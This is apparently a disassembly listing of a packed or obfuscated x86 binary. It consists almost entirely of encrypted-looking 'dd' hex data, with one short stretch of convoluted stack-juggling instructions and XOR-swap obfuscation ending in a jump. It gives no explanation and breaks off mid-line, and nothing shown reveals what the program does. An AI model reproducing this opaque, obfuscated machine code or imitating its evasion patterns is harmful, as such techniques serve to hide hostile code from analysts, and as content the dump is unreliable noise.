8D8B105Bh, 2AF99614h dd 88F7DE86h, 9A722A3Dh, 52C068E6h, 91199216h, 3784F29Ah dd 0DD850642h, 9B43EB64h, 6CE94EB4h, 48F0C7F8h, 5BC8DDAh dd 3CBA3385h, 19D8EC56h, 4B5C933h, 9B7E66FBh, 0F93E2890h dd 0F9000003h, 0D4BA7991h, 0B69C5B65h, 967C3B49h, 7258172Dh dd 0A535F408h, 4054BEF0h, 1F2F9B81h, 0C7A60h, 0DEF05B41h dd 7FED951Fh, 911DB032h, 53743FD8h, 0EAFE68E9h, 61CCB271h dd 0A5BF2DE1h, 1B2F4833h, 0AADA2F1Fh, 0AD6CE55Eh, 0D6E853E2h dd 77E0C66Eh, 92FDE361h, 0F2AA613h, 580C1BB3h, 0A83EB64h dd 1635D291h, 36A4DF4Dh, 8B10AAE9h, 249D168Fh, 0D33E0E7Ch dd 71EA9117h, 824C9B09h, 7E268509h, 821B68D6h, 4EBC8509h dd 85098201h, 0A58B2EA7h, 33B12A38h, 2CFF819Dh, 9A6AD880h dd 468B10AAh, 49B7F260h, 7F0258FCh, 48B029A2h, 0CC9756CFh dd 6ED6E853h, 630B1D88h, 29960F7Dh, 0C13AB31Bh, 0F5DC8443h dd 0EE33B397h, 5FFC7A23h, 0F50973CCh, 0FE6C148Dh, 8B115EB1h dd 0BD65DE57h, 18600F4Fh, 49B59B91h, 0B058D139h, 0A5BF542h dd 0A9229B85h, 5C82D341h, 0CE76850Ah, 56D7BE8h, 0DA780E8Ch dd 234619E9h, 4F29E0h, 9A810000h, 0AF0C4526h, 0A06BE900h dd 7D25899Ch, 176E230Fh, 268E0791h, 95367B8h, 0EA64D285h dd 3C369EACh, 0EB53CC4Ch, 1F879B05h, 8426FC92h, 0F0BD9127h dd 238BA10Ah, 0C2A42CAAh, 0FDE022E8h, 252CAC17h, 0D5F435D1h dd 0CC8D0B84h, 0EAh, 0D6E85301h, 0A1E886Eh, 66687B62h dd 864E4212h, 4FBAA008h, 84EFD53Dh, 0C245B372h, 0CF8B1147h dd 0E398CE8h, 6FED8FABh, 4D0C1E89h, 82EAFC67h, 77C432DAh dd 1D8B1102h, 179DF336h, 4BC45B74h, 441D30CDh, 7C62CAD6h dd 229B030Dh, 0A18830A9h, 0EFFA7800h, 0E38B0906h, 1820CD75h dd 0F1B02991h, 35DDF154h, 138485C7h, 0F49C158Bh, 2E91DE4Ch dd 89F47F00h, 0DD5BD477h, 0D1E54F35h, 54C26A12h, 7F002E07h dd 0D0B634ADh, 0A6A15266h, 0B9578D8h, 20AB9A3h, 80E80000h dd 54C3A968h, 38A58B4Ah, 1C856B2Ah, 0F7614706h, 19424E3h dd 702F43ADh, 4F0E1E8Ah, 30EFFB69h, 0ECDDF4Ah, 216EDC84h dd 0C7911DB2h, 0AB91632Eh, 0BC43C23Eh, 395E57Fh, 0BC260C8Ah dd 9803E9A8h, 8CF8DE86h, 0FC92DF4Dh, 0BF388B10h, 0E765DE46h dd 899C5D28h, 230F7D25h, 291176Eh, 539FEC5Ah, 0CC458509h dd 1697BE6h, 0EE670A88h, 8EF8DE86h, 0FC6A127Ah, 850953AFh dd 0E563DC55h, 9532677h, 17239185h, 4A60C9AFh, 7FCC3AE2h dd 25850953h, 8FA339ACh dd 0E43AD02Dh, 224DD7B7h, 0D7F7E0h, 532C0000h, 862ED6E8h dd 1060CB18h, 7AF8718Bh, 0AEC22C12h, 6555D846h, 0B9248B10h dd 9702E8A7h, 0AD801D85h, 8735901h, 0A20A2089h, 0CF48B029h dd 933BA951h, 0EF91177Eh, 7CE8CE76h, 922FEE6Ch, 0CB8DB1B3h dd 0BFC951A5h, 10F69E46h, 0B22B93A5h, 6225C634h, 0FA738B12h dd 3DC3AA52h, 0F80C766Fh, 0A0301790h, 0BCA22093h, 54A10F52h dd 0FA7EFE80h, 7A600881h, 1E60930Bh, 0BA31263Ah, 1E04C341h dd 0DAEFA0B4h, 5795777Ah, 0DA05EFh, 0B0180000h, 84F3D998h dd 68D5BB7Ah, 4CB59B5Ah, 27917736h, 0D1C45413h, 0A05F73DDh dd 7F3E4EBAh, 601F2B99h, 3EFD0F7Ah, 519E0CB4h, 0F7911DB3h dd 0E953935Eh, 0C53016D5h, 0F5630BB3h, 8B1060A8h, 0BF2DD54Eh dd 8B106072h, 62219F18h, 0D6E85397h, 9E1D886Eh, 2AA2331h dd 219FB11Ch, 4A66C562h, 0AAC834A2h, 33AC911Dh, 397AE5CBh dd 6BD9E553h, 8503171Eh, 61AE1CC4h, 7850317h, 0DD9C158Eh dd 0D4E24F35h, 0F3057056h, 0FB6E1D8Bh, 58EEED4Ch, 0EE006BFAh dd 0CCDE492Fh, 0C10E7C24h, 671CB934h, 53B207EEh, 151D0378h dd 0E0492F97h, 0D7C62CAh, 4CB59B03h, 0C55BCE36h, 0D57D4B69h dd 0F47284EFh, 0A75C05Eh, 0E85339F8h, 0D846ED6h, 0DC000000h dd 0F779C634h, 0A61F1CB8h, 0F4BF5D28h, 6BD3EB53h, 0A0081A85h dd 0D8404CBAh, 0E7686F2h, 42AABE28h, 76DEF25Ch, 0A9112790h dd 0E04856C3h, 19818BFAh db 0B3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push 203Fh mov [esp], esi push ebp mov ebp, 9A73F41h shl ebp, 3 push eax mov eax, 20BF6C3Dh inc eax inc eax or eax, 5EDD053Ah xor eax, 0C62C3D0Fh add ebp, eax pop eax mov ebx, ebp pop ebp push 71ECh mov [esp], esp add dword ptr [esp], 4 pop esi push 75EAh mov [esp], ebx pop dword ptr [esi+8] mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_550050 ; --------------------------------------------------------------------------- aU_0 db 'ÂuÙÁ',0Bh,'É',0 db 0B5h, 0F8h, 41h dd 54C4B86Bh, 0C503060Dh, 11A8E0FFh, 340503CCh, 0D4FC753Ch dd 55F82EFFh, 0FFDE56BCh, 0C7D462D6h, 0F3A7ECEh, 0BF186CD2h dd 66E716BBh, 5DD36364h, 0C21044D8h, 1C753074h, 0D7AF78A8h dd 0EA0C192Ch, 5A872668h, 543A632Ah, 6EC90C60h, 45B101C6h dd 11BD5DF4h, 0A2F21A99h, 0EF2021C7h, 69F05D05h, 48415AE7h dd 0EFB30965h, 6C1E6174h, 0AE828B3h, 0AF000000h, 0C6E863BCh dd 46FD5ADEh, 1C8A0FAAh, 0F000000h, 168Ch, 11E900h, 78DF0000h dd 3224F2F9h, 7B91CBEBh, 3A5081D4h, 5E7909ECh, 7E9h, 0B88C6800h dd 7EE41C77h, 6101C681h, 0E680000h, 0F000018h, 28Dh, 59C18A00h dd 8B89F480h, 860F5216h, 0Fh, 0AE9h, 2E1CE100h, 591FA9CCh dd 5818E1F9h, 0ED1EF281h, 8B0F266Bh, 5, 0A3EF8166h, 0D5EA8154h dd 0F413006h, 1189h, 0CE900h, 94F10000h, 0BA6531Ch, 572551D4h dd 0EA8190CEh, 3565BA22h, 52FFB70Fh, 0CE9h, 8424EC00h dd 384AAA9Bh, 4B5D2F23h, 0B4068F82h, 2EE8376h, 8B664E4Eh dd 850F49DFh, 0FFFFFF8Bh, 0D2F18160h, 6161068Dh, 8EBh dd 34F30000h, 0AEE94143h, 68000004h, 60D57BDh, 0FA25BCE9h dd 582168FFh, 0B2E9060Dh, 68FFFA25h, 60D598Eh, 0FA25A8E9h dd 620AB7FFh, 68F6B816h, 6FF5BE1Ch, 7319C523h, 7E02C927h dd 0E6274832h, 0E745911Fh, 0EB49951Fh, 0F5539F25h, 0E75AA632h dd 319E9D6Ch, 0E0BFF001h, 181BEA65h, 45F00131h, 43D197F5h dd 0A68A4090h, 0DD9014DBh, 74619F62h, 1C26E634h, 0B7450866h dd 26427C6Bh, 715CDCABh, 0B909FC13h, 6D083706h, 4BEEF00Bh dd 38E2A4F3h, 0CC2A99CAh, 78C87B09h, 15CB511Ah, 2FD92h dd 60BEAE00h, 9F580E98h, 0A3C5F911h, 7D3B5928h, 1464FC13h dd 9D21E45Fh, 3974F063h, 37916016h, 0DFF57689h, 46A69564h dd 67B70D6Eh, 461E1DECh, 0EF3F0D6Eh, 0F4744A39h, 0B05EAA79h dd 57A70771h, 5F09B5A4h, 0A85F15E4h, 60B00176h, 38C487E5h dd 27F671ECh, 0D6E5714h, 0E543F949h, 79379622h, 8DB978CAh dd 2FD84DAh, 0EB980000h, 0D597F541h, 0D49DFB47h, 0FAA60450h dd 0E3AA0854h, 627115Dh, 2672FEC5h, 2A7600C8h, 348006CCh dd 398513D6h, 0B97C4BC6h, 0A6F00130h, 744AE3C7h, 0D6AA79F4h dd 1FFC19BEh, 2FF654CFh, 0FFC826A1h, 0F873BF75h, 9A4DD39Ah dd 6F36944Ah, 0D35F2EE1h, 0B4F00131h, 0B60463F1h, 50BAE851h dd 299479Dh, 4FFC0000h, 410361ADh, 400967B3h, 661270BCh dd 571E7CC8h, 72937DC9h, 0A2EE7239h, 0A6F27C44h, 0A8F48248h dd 0ADF9874Ah, 4DF0BF3Ah, 12F0013Fh, 60BE4F33h, 0AB51FD99h dd 8B6A55Bh, 7A16E560h, 0CBFC19BEh, 36F9C87Bh, 0B0F00131h dd 0A466350Dh, 0E499D080h, 1DAh, 7E18DB00h, 267629B7h dd 0C47705C8h, 0F6712474h, 8245CF98h, 0DC6FEC1Ch, 8AE89E05h dd 72ED39C7h, 0C9985114h, 0F60C576Ah, 9D53A3F3h, 0DD5810AEh dd 135AD20Eh, 58D323FCh, 9D88FA95h, 0E49A735Ch, 63F3B631h dd 894EB273h, 2FFEB4h, 0E6F00BD0h, 0DA9CEB43h, 2299CAE1h dd 0C37618C4h, 4C3ABD73h, 0BF000000h, 0D8C67544h, 3997F00Bh dd 409EEE72h, 0E939EC7Ah, 744A4F33h, 2AAA79F4h, 73FC1375h dd 9EA17023h, 43F00B6Ah, 7D40F381h, 0E3850FB2h, 0FCC321C2h dd 45E8C578h, 7BE87BEDh, 0ADA75B37h, 0D971145Dh, 0CAC408CAh dd 0BE4899h, 0DB640000h, 7BD98C18h, 57B530B4h, 9F520894h dd 71FFC624h, 0E9A5DBBh, 0AE3AFD5Bh, 8329D533h, 0ADB281CDh dd 82F60C6Ch, 0F6E531BFh, 5625A0C8h, 0FC161416h, 219C1767h dd 5CBE352h, 290CDBF0h, 36F005CBh, 6BC0CE6h, 0DA662D8Bh dd 0B755015Fh, 0BF3AB501h, 5CB4DF0h, 0CC212F0h, 0FA59E7AEh dd 0AED14ECAh, 2C57AD60h, 69000001h, 76D420BCh, 7CDA26B4h dd 7FDD29B3h, 7FDD29D3h, 0F6E02CB8h, 47CD94D5h, 4FD59DFBh dd 51DFA503h, 58E4A705h, 4F1E990Ch, 0F0013EECh, 0BEAE9271h dd 590C9A60h, 672C0FDEh, 0E131F60Ch, 0B67DDB91h, 0BD80DE2Ah dd 87D77521h, 7645C03Bh, 0F60C67C7h, 0AE924898h, 0D98C18DBh dd 0E02CB87Bh, 0DE28CDF1h, 9DAE99D4h, 8210D634h, 0B42F7FCFh dd 136BECE5h, 7AF545FCh, 0D5A4551Ch, 0F00BF466h, 8349A7F7h dd 0AAFA4AFDh, 9968E35Eh, 0F00BF49Ah, 4C1573C3h, 0FC4312C8h dd 0C8F00BF4h, 0B1710905h, 849F62EEh, 72D086D7h, 0D1CDAEAFh dd 0A44766B6h, 0B87BD954h, 591B792Ch, 79C57BCBh, 1DD0541Bh dd 6AC7h, 744AE300h, 0DAAA79F4h, 23FC19BEh, 0FFC220D3h dd 4C72571h, 8DF6C578h, 483B5781h, 0B08352CDh, 0ADB74F5Eh dd 2013E25Dh, 3DB74F5Eh, 0BA9437EDh, 0CD26C2Fh, 3383D386h dd 2CC689E7h, 0DC2CDF65h, 0CF7BD98Ch, 7BCB591Fh, 0B99134C8h dd 76C5940Fh, 0E7B74F5Eh, 8A3DC389h, 0D634EA3Ah, 0DB398513h dd 83D98C18h, 3, 0DB694D9Fh, 7DDB8E2Eh, 1D7B2EBAh, 0B816C957h dd 55B366F0h, 0F14F028Eh, 95F3A62Ah, 329043E9h, 0D230E369h dd 7ECF8210h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h dd 67682414h, 89000074h, 0A3682404h, 89000029h, 3DB8243Ch dd 357AB074h, 4ED6711Dh, 7D0BB53h, 0F7431610h, 80F381DBh dd 1ECF6DAh, 0E0C15BD8h, 0A51C3506h, 8B5459C4h, 0C481243Ch dd 4, 8BA52h, 0FA010000h, 148B0289h, 4C48324h, 50243C8Bh dd 405E089h, 83000000h, 48704C0h, 34FF5C24h, 0C4815824h dd 4, 0FA2120E9h, 768216FFh, 0F2E70117h, 5ADFB8F2h, 0C503060Dh dd 3762E0FFh, 7768630Ah, 0D7C219Fh, 2F02597Dh, 0F9061F60h dd 51DA4E10h, 43C47D14h, 1D183868h, 0C0414290h, 570B3F28h dd 33490A9Ch, 43375A7Dh, 0F08E5781h, 7B582D01h, 0B3F21ADFh dd 824D3A11h, 0A0A78D8h, 1E0907FCh, 8B3F2F43h, 3BAD3E11h dd 0FADA0AF0h, 8D8D01E3h, 60D5CB5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0A0C35646h, 7CBE9585h, 18D8918h dd 6A06070Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0C51CC351h, 7043F0B2h, 519D23B8h dd 0C7060727h, 714A585h, 72E406h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 733714A4h dd 6051E9DFh, 39B9BB66h, 2FD585C7h, 607h, 0CC800000h, 0D5B5FFDEh dd 6A060713h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 63F3C356h, 836F1A51h, 3205BF9h dd 1C1995FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0E23E10C3h, 6ADE8B66h, 6995FF00h dd 8B06071Bh, 0C18EBC0h, 0CECC0538h, 0DF2183Fh, 0F64A5071h dd 0BE71531Dh, 0B9959EA0h, 8DD1719Ch, 0D5DE58Dh, 0FE806h dd 3D500000h, 319BC149h, 0B224728Eh, 4D2ABD19h, 0BE91BE32h dd 0F5B61C3h, 682h, 0D9D8B00h, 89060714h, 70A018Dh, 3BC88106h dd 0C7732B46h, 714A585h, 655406h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 58EC7BC9h dd 9375C30h, 7129185h, 68BE6606h, 0D585C7E9h, 6072Fh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0AA3AC357h, 0D8E139B3h, 0F6BF0FBEh dd 312DB5FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 9E83AC3h, 2000000h, 70CBFC3Eh, 9F232810h dd 3C1EE381h, 0FF5E6ED8h, 71C1995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 881F927Fh dd 0EE9h, 0BDD5BB00h, 0E9D700Eh, 0DFB42610h, 6A82A720h dd 6995FF00h, 8B06071Bh, 7B49EBC0h, 4CFBB30Ch, 2DE9B35Ah dd 2F872762h, 0AE5DF8D1h, 434EE912h, 72DE6E36h, 8C5E3ED4h dd 52F1BD56h, 0F4121BAAh, 0D2D5CE02h, 0B98D3374h, 0E04B4B64h dd 918831CDh, 0D6AA2F1Ah, 0C83EB682h, 16BEEFh, 0FCF60BB8h dd 3EE39C43h, 11E8h, 16CDAF00h, 9E375955h, 0EBE63A62h dd 17CE747Fh, 8166BC89h, 59ACFED7h, 43CE8166h, 8C181B0h dd 89000075h, 702518Dh, 8BDB2B06h, 0BD011904h, 6070B35h dd 0D88AE881h, 0BD896DDBh, 6071235h, 0F96EC081h, 0AE87CBAh dd 0F4000000h, 891926CFh, 1F30917Eh, 0DF816646h, 815AC2E9h dd 6229EAF0h, 1904890Dh, 0FE8h, 0E3033800h, 0CC89597h dd 2864884Eh, 0E6C55807h, 41E0BE66h, 0F08B665Fh, 5001EB83h dd 9E9h, 359E4000h, 63540764h, 4B5AF9C0h, 9D894B4Bh, 607215Dh dd 8BA0FB81h, 850FFFFFh, 0FFFFFF83h, 0E7EE8166h, 7E8AFh dd 7CFA0000h, 0E7769234h, 12E991h, 0F8F70000h, 0B34FC513h dd 0D4F9F24Ch, 93A8CE3Fh, 0A2D3F9CBh, 7CC5805Fh, 59CEC781h dd 5E80000h, 4F000000h, 0A9DDAA04h, 8C6FB866h, 6858h, 8D890000h dd 6070A6Dh, 1DC1805Ah, 563A34FFh, 1C118D89h, 5B580607h dd 47CE8166h, 52C38117h, 815A1594h, 0F58768C3h, 71B58972h dd 81060704h, 0A53D4CEBh, 0CEC98166h, 891D62C4h, 8D8B171Ch dd 60702F1h, 0ED5B58Bh, 0EA830607h, 81CA8B04h, 0FFA6F0FAh dd 15850FFFh, 66000000h, 7D78F081h, 23E9h, 4922AC00h, 0E7B13378h dd 0AC2C6962h, 2059BD01h, 91E90607h, 9CFFFFFFh, 1BBE1AC6h dd 0EE745FC6h, 6722EA62h, 60868D8Dh, 6A060Dh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0CA40A0C3h dd 6EB9F94h, 890FC751h, 5, 2ED28166h, 0A1B523ADh, 89060716h dd 70A018Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 81B1E5A1h, 3BDE090Bh, 0AE8h, 84275900h dd 0C6C249FCh, 0BA52F8D0h, 72CCE802h, 0A585C75Fh, 0A4060714h dd 89000067h, 711E9BDh, 0D585C706h, 6072Fh, 8B000000h dd 71CA195h, 59B5FF06h, 6A060727h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0BB99C356h dd 9D9D0325h, 0FF060700h, 71C1995h, 58E0F06h, 66000000h dd 0A1E4D681h, 95FF006Ah, 6071B69h, 0FEBC08Bh, 120F4648h dd 30E94C40h, 0FA667947h, 8D9DF7E8h, 0D619C8Dh, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 880F5972h, 2, 8D8914B4h, 6070A01h, 173DB589h, 0BD8B0607h dd 60716A1h, 14A585C7h, 6A480607h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3BFA6BC3h dd 0FC8D35Fh, 0D8Dh, 8E900h, 7CE20000h, 625C8DDCh, 85C74EC0h dd 6072FD5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 63C35040h dd 91134455h, 0DFBF66F3h, 9B5FF93h, 6A06070Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0AD16C352h, 1C1995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 2FF379C3h, 0D5B88AADh dd 0AB59D8Bh, 6A0607h, 1B6995FFh, 0C08B0607h, 0DBCE1FEBh dd 8139130Ch, 523E80C3h, 97AE0821h, 0F5D0F9B6h, 3B34F330h dd 750115C1h, 8E5AE66h, 0FE8B2h, 8AFF0000h, 6BEC7C92h dd 0FEF23BEFh, 0D08AB59Ah, 0DEBF0FFCh, 0DBB70F58h, 6BDBC081h dd 0D8BE0000h, 3100001Ah, 70ED995h, 8930FF06h, 71D99BDh dd 0BD095906h, 60700B9h, 4A6FE981h, 81660DD1h, 81E047D7h dd 77CBEDE9h, 5E95Dh, 0E88D0000h, 8157C240h, 0C442A2E9h dd 89DAB60Bh, 59F38008h, 6D4FE881h, 66BF617Ah, 812A0F2Ch dd 7A6D4BC0h, 83D38B61h, 850F01EEh, 0FFFFFFADh, 0E9CA8166h dd 8E88Ah, 64F60000h, 9D6E07CEh, 5BF5686Ch, 0C38103B1h dd 676Bh, 4D958960h, 8B06071Ch, 70CB98Dh, 686106h, 31000000h dd 71D1DBDh, 0C9805A06h, 1A34FF44h, 2D41B58Bh, 66580607h dd 8687C981h, 8AB0F081h, 0C0813925h, 7DE6723Bh, 0F718531h dd 0C0810607h, 3B8E575Dh, 2D858956h, 5E060716h, 0F130489h dd 882h, 8D895700h, 6071BF9h, 0F38B665Fh, 0F871EA81h, 5BF1EB9h dd 81472C95h, 0B9F86DC2h, 24FA811Eh, 0FFFFF99h, 0FFFFA085h dd 0BBB966FFh, 9A8D8D10h, 66060D63h, 0D327CA81h, 0A018D89h dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 145DCEC3h, 17519D2Bh, 85C70607h, 60714A5h dd 67E8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 73C35242h, 4FC9308Bh, 94F02D77h, 0DB81664Dh, 0BE66DAA3h dd 85C78374h, 6072FD5h, 0 dd 0D01BD31h, 0B5FF0607h, 607026Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0A9C35343h, 976F6E89h, 0CB810841h dd 5514E378h, 1C1995FFh, 95890607h, 6071D15h, 95FF006Ah dd 6071B69h, 3BEBC08Bh, 70A39D2Fh, 62D9B458h, 0E5CA335Bh dd 870922ECh, 497FD651h, 5B5DFFF3h, 51A93604h, 826A2BA0h dd 0DD6BAA82h, 0A8A96FE0h, 1083AE4h, 1D511CF2h, 3F636154h dd 92CC8907h, 8D4FD79Eh, 0D64568Dh, 18D8906h, 8B06070Ah dd 71D6D9Dh, 0F2816606h, 85C7F08Dh, 60714A5h, 6CC8h, 0C75FEA80h dd 72FD585h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 11126661h, 9D8B9192h dd 6072DEDh, 54DB5FFh, 8B660607h, 1995FFC2h, 0F06071Ch dd 581h, 6326BE00h, 0DB811113h, 2B4F3998h, 95FF006Ah, 6071B69h dd 4BEBC08Bh, 1499094Ch, 4D9C156Ah, 3A683004h, 4A5E5454h dd 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 0F30B638Dh, 0EE8929A1h dd 247F1B1Dh, 0AA0F6E69h, 112F4736h, 2D6759A5h, 608AE520h dd 0DA15E043h, 3174E8B1h, 0CBF4431h, 0D930FB37h, 8D71E2F6h dd 0D65588Dh, 896EB206h, 70A018Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0B52BC781h dd 60712E1h, 0C7FBBF0Fh, 714A585h, 614406h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 370505A3h, 0FE9707Ah, 68Ah, 5BD8900h, 0C706071Dh, 72FD585h dd 6, 9B5FF00h, 6606070Bh, 95FFD38Bh, 6071C19h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 6C35545h, 0C838D97Ah dd 15F9BD8Bh, 6A0607h, 1B6995FFh, 0C08B0607h, 59651FEBh dd 5D15B5A7h, 259A8EA9h, 0DE33AF62h, 770B773Dh, 0DF31FA99h dd 3969E907h, 2F0BCF0Fh, 13E815h, 0D1140000h, 0D63AB217h dd 0A54D092h, 0D1C3600Ah, 0F9EFAA4h, 0F195895Ah, 5B060701h dd 21A9BD03h, 0C3810607h, 74EDh, 1858B56h, 58060729h, 732B60B9h dd 4BE98159h, 0E959730Eh, 8, 7EC2D139h, 21E55114h, 8589338Bh dd 6073145h, 0C21FF681h, 10B80B2Ch, 810B4BDBh, 6EB482C6h dd 2870F78h, 8A000000h, 0E5F681E2h, 8B6C5B9Ah, 728AD95h dd 95895606h, 6071319h, 9529038Fh, 6071665h, 8904EB83h dd 72D7D8Dh, 850F4906h, 0FFFFFFB4h, 0F7B70F60h, 4B63D981h dd 8D614A76h, 0D66EB8Dh, 2EE3BE06h, 8D897D7Fh, 6070A01h dd 0C1BF6656h, 85C75B0Dh, 60714A5h, 6C34h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A9C35545h, 5DB4D9Dh dd 2FD585C7h, 607h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 5173B7C3h, 69B2BE66h dd 0D5B5FF5Eh, 6A060713h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 9018C353h, 54ADE933h dd 1995FFF5h, 6A06071Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 7B08C357h, 5F3270DDh dd 89DBD340h, 721798Dh, 0FF006A06h, 71B6995h, 0EBC08B06h dd 91C55518h, 0AD3D0CADh, 437CB7A0h, 0CC62B01Ch, 1CBA5A5Dh dd 2B052199h, 14E859h, 9A800000h, 3D1A8F27h, 353495DBh dd 5D2D5232h, 4763E9B1h, 952B8AB2h, 60720A9h, 99C8815Bh dd 814A7C64h, 62F2C3h, 5850900h, 0BE06070Bh, 525E8CCAh dd 9449F681h, 852B525Eh, 6070F6Dh, 953133FFh, 6071DD1h dd 0E850F5Fh, 60000000h, 1B79B58Bh, 9D8B0607h, 6070629h dd 7CC78161h, 6035D899h, 61EC8AF5h, 537EEF81h, 0D080036Fh dd 2EF7818Fh, 8150F1DDh, 0B78712DAh, 8D8B5749h, 60721DDh dd 8589038Fh, 6072CEDh, 8901EB83h, 7099D8Dh, 4B4B4B06h dd 7E8h, 0E0598400h, 0B185F4CBh, 6880Fh, 0B5290000h, 6071941h dd 1EE815Ah, 0F000000h, 1585h, 0B5953300h, 0E9060711h dd 24h, 0F129392Bh, 1458D0E6h, 8B66E2DBh, 0FF66E9CEh, 6022FFFFh dd 60B578ABh, 0EBB2EEC4h, 0EC0F404Bh, 0DEB1C8Ch, 7E8h dd 1A9DA400h, 8F501CE3h, 68B0Fh, 85890000h, 6070329h, 79950B58h dd 81060721h, 6AB9C0h, 9D015000h, 6070631h, 1A82BB5Fh dd 88B0000h, 5802C181h, 81F54090h, 2ED42BC1h, 0AE906h dd 70130000h, 2AAB7A68h, 0AA73342Bh, 568CF181h, 9D012D03h dd 60717CDh, 0CE951h, 0A54F0000h, 41C3D0F7h, 59BC8DBCh dd 8F74A8h, 83D08B66h, 8B5204E8h, 711A9B5h, 0EB835A06h dd 13850F01h, 0E9000000h, 2Eh, 7674E763h, 0A8B9F941h, 0AD554254h dd 8C0F4A08h, 6, 2655B58Bh, 87E90607h, 8CFFFFFFh, 0ACF80A72h dd 93EA5DDCh, 17F1680Dh, 0EE80ED2h, 6C000000h, 0FCC0C0D4h dd 66CC3D65h, 0A71A9957h, 5FD38B3Ch, 6E34C781h, 95890000h dd 607291Dh, 3337AEBBh, 0B0C38142h, 8BBDCCE3h, 71D3DB5h dd 0E937FF06h, 0Eh, 0B616AC8Ah, 4340EF6Ah, 0EA1BE80h, 8959CB2Ch dd 7187DBDh, 0A4F18106h, 91B1786h, 704A59Dh, 9CF18106h dd 896BF739h, 70DF9BDh, 72C18106h, 8B3ED0FFh, 7009195h dd 0CE815106h, 24636ACBh, 9D89078Fh, 60721A1h, 0CC8AEF81h dd 0D78B10FEh, 0CC86C781h, 0CE8010FEh, 1EB814Ch, 0F000000h dd 1485h, 21E900h, 7CF80000h, 32BEF332h, 0D22C47EDh, 0E321CF85h dd 0F6B70FADh, 0FFFF78E9h, 0B52FABFFh, 0E123EA0Dh, 82673BA2h dd 889A075h, 0DC781469h, 488F8DA6h, 2E863622h, 908635A1h dd 480AD925h, 99053025h, 148136F8h, 76023F25h, 7863025h dd 45AF1198h, 0A5893023h, 90863057h, 5DA3B5E3h, 4CC83622h dd 5AE5C220h, 32A234A4h, 7BD9EEC0h, 4580ED90h, 0D503BD23h dd 6F803A55h, 8E76BBF5h, 239315A0h, 0AFEE7E23h, 880DF006h dd 707B1411h, 0F77913A7h, 27811904h, 0E072B5A8h, 9879362Fh dd 343FC8AEh, 0FB863025h, 986302Dh, 8A033F83h, 0B863025h dd 0A489F92Eh, 6F79CFD5h, 48863DCCh, 6E1BBD25h, 0AA80376Eh dd 9863020h, 390BD3DAh, 448B5953h, 4BB5BDA8h, 823E3628h dd 63000000h, 826FF1EAh, 889A075h, 0DC781469h, 488F8DA6h dd 2E863622h, 908635A1h, 480AD925h, 99053025h, 0F305E983h dd 22B9A4h, 0EE80000h, 0CC000000h, 24F13752h, 0E0F81E2Bh dd 3D61E6B0h, 699D0B10h, 59060705h, 81D88B66h, 66BDC1h dd 0B8DCB600h, 1981h, 0FFF28B66h, 8820F31h, 0F000000h dd 28Bh, 5F5B5100h, 99F28166h, 18F7813Fh, 896C142Dh, 733459Dh dd 71F78106h, 0B66A1AF0h, 75F781E1h, 60661399h, 89D38B60h dd 70D0D85h, 0B5096106h, 6071E79h, 81398961h, 0BEF3A7E9h dd 0F9B58919h, 81060713h, 0BEF3A3C1h, 71E38119h, 8158FE3Ah dd 1E8h, 17850F00h, 66000000h, 0E9243ABBh, 24h, 93B2A6D8h dd 2654DC95h, 54581040h, 5E969B2h, 97000000h, 0F0EB4178h dd 0FFFF72E9h, 1A7B6FFFh, 99003DD1h, 9DBF04EBh, 0C7E94D8Bh dd 1000008h, 0E6CB854h, 1472BE4Ch, 1775C14Bh, 1775C16Bh dd 8E78C450h, 0DF652C6Dh, 0E76D3593h, 0E9773D9Bh, 0F07C3F9Dh dd 